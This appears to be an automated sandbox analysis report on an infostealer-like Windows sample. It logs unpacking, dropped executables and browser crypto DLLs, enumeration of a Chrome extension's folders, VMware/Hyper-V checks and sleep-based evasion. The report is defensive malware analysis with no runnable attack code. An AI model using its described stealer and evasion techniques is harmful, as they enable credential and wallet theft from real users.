Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Section loaded: linkinfo.dll	Jump to behavior

Source: C:\Users\user\Desktop\IeccNv7PP6.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\IeccNv7PP6.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: mozglue.pdbP source: 795F.tmp.exe, 00000002.00000002.2415115579.000000006C16D000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: freebl3.pdb source: freebl3.dll.2.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.2.dr
Source:	Binary string: nss3.pdb@ source: 795F.tmp.exe, 00000002.00000002.2415494564.000000006C32F000.00000002.00000001.01000000.00000010.sdmp, nss3[1].dll.2.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.2.dr, softokn3.dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.2.dr
Source:	Binary string: nss3.pdb source: 795F.tmp.exe, 00000002.00000002.2415494564.000000006C32F000.00000002.00000001.01000000.00000010.sdmp, nss3[1].dll.2.dr
Source:	Binary string: mozglue.pdb source: 795F.tmp.exe, 00000002.00000002.2415115579.000000006C16D000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.2.dr, softokn3.dll.2.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Unpacked PE file: 0.2.IeccNv7PP6.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.tifima:W;.safune:W;.genon:R;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Unpacked PE file: 2.2.795F.tmp.exe.400000.0.unpack .text:ER;.data:W;.dipo:R;.puwuxu:R;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Unpacked PE file: 0.2.IeccNv7PP6.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Unpacked PE file: 2.2.795F.tmp.exe.400000.0.unpack

Source: C:\Users\user\Desktop\IeccNv7PP6.exe

Code function: 0_2_0041EC7E LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0041EC7E

Source: IeccNv7PP6.exe	Static PE information: section name: .tifima
Source: IeccNv7PP6.exe	Static PE information: section name: .safune
Source: IeccNv7PP6.exe	Static PE information: section name: .genon
Source: ScreenUpdateSync[1].exe.0.dr	Static PE information: section name: .dipo
Source: ScreenUpdateSync[1].exe.0.dr	Static PE information: section name: .puwuxu
Source: 795F.tmp.exe.0.dr	Static PE information: section name: .dipo
Source: 795F.tmp.exe.0.dr	Static PE information: section name: .puwuxu
Source: freebl3.dll.2.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.2.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.2.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.2.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.2.dr	Static PE information: section name: .didat
Source: nss3.dll.2.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.2.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.2.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_00410786 push ecx; ret	0_2_00410799
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_0043DB97 push dword ptr [esp+ecx-75h]; iretd	0_2_0043DB9B
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_0040FDB1 push ecx; ret	0_2_0040FDC4
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_02DB300D push ecx; ret	0_2_02DB302A
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_02DB1551 push FFFFFFADh; ret	0_2_02DB15C3
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_02DAEABB push es; iretd	0_2_02DAEACC
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_02DB0884 push 00000003h; ret	0_2_02DB0888
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_02DB2E8F pushad ; ret	0_2_02DB2EAB
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_02DAEF96 push E8665AC8h; iretd	0_2_02DAEF9B
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_04640018 push ecx; ret	0_2_0464002B
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_04669E08 pushad ; retf	0_2_04669E0F
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_04667FBD push esp; retf	0_2_04667FBE
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_046409ED push ecx; ret	0_2_04640A00
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Code function: 0_2_046679BF push esp; retf	0_2_046679C7
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_00427AA5 push ecx; ret	2_2_00427AB8
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_6C12B536 push ecx; ret	2_2_6C12B549

Source: IeccNv7PP6.exe

Static PE information: section name: .text entropy: 7.553517594947682

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ScreenUpdateSync[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	File created: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\IeccNv7PP6.exe

Code function: 0_2_0040E999 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0040E999

Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Window / User API: threadDelayed 3551			Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Window / User API: threadDelayed 6438			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes			graph_0-63728
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Evasive API call chain: GetSystemTime,DecisionNodes			graph_2-100917

Source: C:\Users\user\Desktop\IeccNv7PP6.exe	API coverage: 5.1 %
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	API coverage: 6.2 %

Source: C:\Users\user\Desktop\IeccNv7PP6.exe TID: 7584	Thread sleep count: 3551 > 30	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe TID: 7584	Thread sleep time: -2524761s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe TID: 7584	Thread sleep count: 6438 > 30	Jump to behavior
Source: C:\Users\user\Desktop\IeccNv7PP6.exe TID: 7584	Thread sleep time: -4577418s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\IeccNv7PP6.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_00414C70 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,CopyFileA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	2_2_00414C70
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_004124F7 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	2_2_004124F7
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_0041CDD0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,CreateFileA,GetFileSizeEx,CloseHandle,CloseHandle,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	2_2_0041CDD0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_004016A0 lstrcpy,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,GetFileAttributesA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	2_2_004016A0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_0040DB80 lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,StrCmpCA,lstrcpy,StrCmpCA,lstrcpy,CopyFileA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,StrCmpCA,DeleteFileA,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	2_2_0040DB80
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_004113B7 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	2_2_004113B7
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_004124F9 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	2_2_004124F9
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_00414C89 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	2_2_00414C89
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_004016B9 lstrcpy,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	2_2_004016B9
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_0041D720 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcpy,lstrcpy,FindNextFileA,FindClose,	2_2_0041D720
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_0041DF20 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,lstrcpy,	2_2_0041DF20
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_0041E3F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	2_2_0041E3F0
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	Code function: 2_2_004113B9 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,StrCmpCA,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,FindNextFileA,FindClose,	2_2_004113B9

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe

Code function: 2_2_00421DC0 EntryPoint,GetSystemInfo,GetUserDefaultLangID,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,OpenEventA,CreateEventA,

2_2_00421DC0

Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\795F.tmp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe, 00000005.00000002.2049932635.00006C40028E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: chrome.exe, 00000005.00000002.2057284451.00006C40032C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual USB Mouse
Source: 795F.tmp.exe, 00000002.00000002.2394084753.000000000085E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware=
Source: 795F.tmp.exe, 00000002.00000002.2394084753.000000000085E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWO
Source: 795F.tmp.exe, 00000002.00000002.2412072438.0000000020ED5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
